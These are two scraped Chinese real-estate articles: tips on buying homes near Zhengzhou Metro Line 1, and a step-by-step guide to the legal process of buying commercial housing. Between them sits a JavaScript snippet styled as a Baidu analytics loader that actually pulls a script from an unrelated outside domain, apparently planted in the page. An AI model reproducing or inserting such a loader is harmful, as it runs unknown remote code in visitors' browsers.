郑州地铁1号线装修购房注意事项

最近几年城市交通越来越拥堵，为了生活便利，很多郑州人在装修购房时会考虑交通因素，因此地铁房成为都市购房装修市场新宠，地铁房市场潜力巨大。那么，大家在郑州地铁1号线装修购房有什么需要注意的事项呢？很多人对此还不是很熟悉，接下来就来了解一下郑州地铁1号线附近装修购房注意事项吧！1、郑州地铁1号线装修购房注意事项——距离测量在购买装修地铁房之前需要事先了解地铁和住房之间的距离。很多人会觉得离地铁越近越好，没有一个具体的概念。其实，一般从您所住小区到地铁口5分钟左右的步行路程可称为标准地铁房，而稍微远一点的准地铁房大概需要10分钟路程。大家可以通过步行进行简单测量。2、郑州地铁1号线装修购房注意事项——了解周边环境相信大家在装修购房之前，一定会了解熟悉周边环境。而地铁周边区域交通繁忙，噪音污染问题则格外需要观察留意。同时大家还要打听清楚地铁周边的配套设施，比如医疗教育、商业街区等设施，这些都要纳入考虑范围，大家在装修购置之前可以多多搜索相关信息并进行实地考察。3、郑州地铁1号线装修购房注意事项——协议充分大家在装修购买地铁1号线附近房屋时，一定要签订完整的装修、购房协议合同，清楚了解相关款项及规定，需要签订补充协议或是存在其它特殊情况的，一定要咨询相关人士并且在合同中明确列出，以保障自身权益。上述几点注意事项就是大家在郑州地铁1号线装修购房需要知道了解的内容。地铁附近购房是项不错的投资，同时也需要花费更多心思精力，大家在装修购置之前一定要做好功课哦！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

购买商品房的流程介绍

导语：买房是人们一生中的大事，用户们在选购房屋的时候一定要了解买房的整个流程以及需要办理的手续，以免在购买房屋的时候手忙脚乱。不同的房屋类型，购买起来程序是有所不同的。小编今天要向大家介绍的是购买商品房的流程。目前在市面上，商品房是最受欢迎的一种房型，那么购买商品房的流程是怎么样的呢?小编今天的文章就来为大家介绍一下。第一、签订房地产订购书或者认购书,并向发展商或者其代理商交付定金。订购书或者认购书在法律性质上属于预约合同,双方有义务信守,否则要适用定金罚则。如果是预售,认购人应当查证预售方的商品房预售许可证以及营业执照等相关资料,预售人应当以书面形式向预购人明示下列事项:(1)、预售人的名称、注册地址、联系电话和法定代表人。(2)、商品房预售许可证。(3)、项目开发进度和竣工交付时间。(4)、项目及其配套设施的平面示意图。(5)、商品房的结构类型、户型、装修标准、公共和公用建筑面积的分摊办法。(6)、预售商品房的价格和付款办法。(7)、商品房预售款的专用帐户。(8)、物业管理事项。(9)、法律、法规规定的其他事项。如果是商品房现售,售房人则应符合以下条件:(1)、具有企业法人营业执照和房地产开发企业资质证书;(2)、具有土地使用权证书或者使用土的批准文件;(3)、持有建筑工程规划许可证和施工许可证;(4)、已通过竣工验收;(5)、拆迁安置已经落实;(6)、供水、供电、供气等配套基础设施具备交付使用条件,其他配套基础设施和公共设施具备使用条件或者已确定施工进度和交付日期。(7)、物业管理方案已经落实。第二、签署正式房地产预售契约或者商品房购销合同。通常各地房地产管理部门都会通过发展商提供标准合同样本,双方可逐条协商修正。订约时,购房人要注意带好身份证、户口簿等身份证明材料。一般订约是在发展商处或发展商指定的律师事务所。为不致出现漏亏,购房人最好自己随身带一个律师前往。当然,如果进一步公证或者见证则更为妥当。第三、办理预售预购登记手续。双方应在预售合同签订30日内持该合同项目所在地房地产交易登记机构办理登记手续。未经登记手续,合同不能产生法律效力。第四、办理抵押登记。如果购房人须银行贷款,则在与银行签订房地产抵押贷款合同或者预购商品房贷款抵押合同之日起30日内持抵押合同、售房契约及相关文件到房地产所在地的房地产管理部门办理房地产抵押登记。第五、交付。售房人在房屋符合约定的条件成就后,向购房人发出《入伙通知书》或者《交付使用通知书》,由购房人进入现场实地验收,并签收交房单据,领取房屋钥匙。交付是双方行为,但交付并不导致房屋产权的转移。第六、立契过户,办理产权证书。房屋交付之后的约定期限之内,售房人应协同购房人办理产权过户手续和房地产权属登记手续。产权证书颁发以后,全部手续结束。商品房，商品房是一些房地产开发商在得到了国家政府的同意之后，建造完成之后用于在市场上售卖的一种房屋。现如今，很多年轻人购买房屋都会选择商品房，商品房不仅性价比高，并且相对而言也比较可靠。上述中小编为大家介绍了购买商品房的流程，整个流程都比较简单，并没有什么过于复杂的程序，但需要用户们细心去购买。希望小编的文章能够帮助到大家。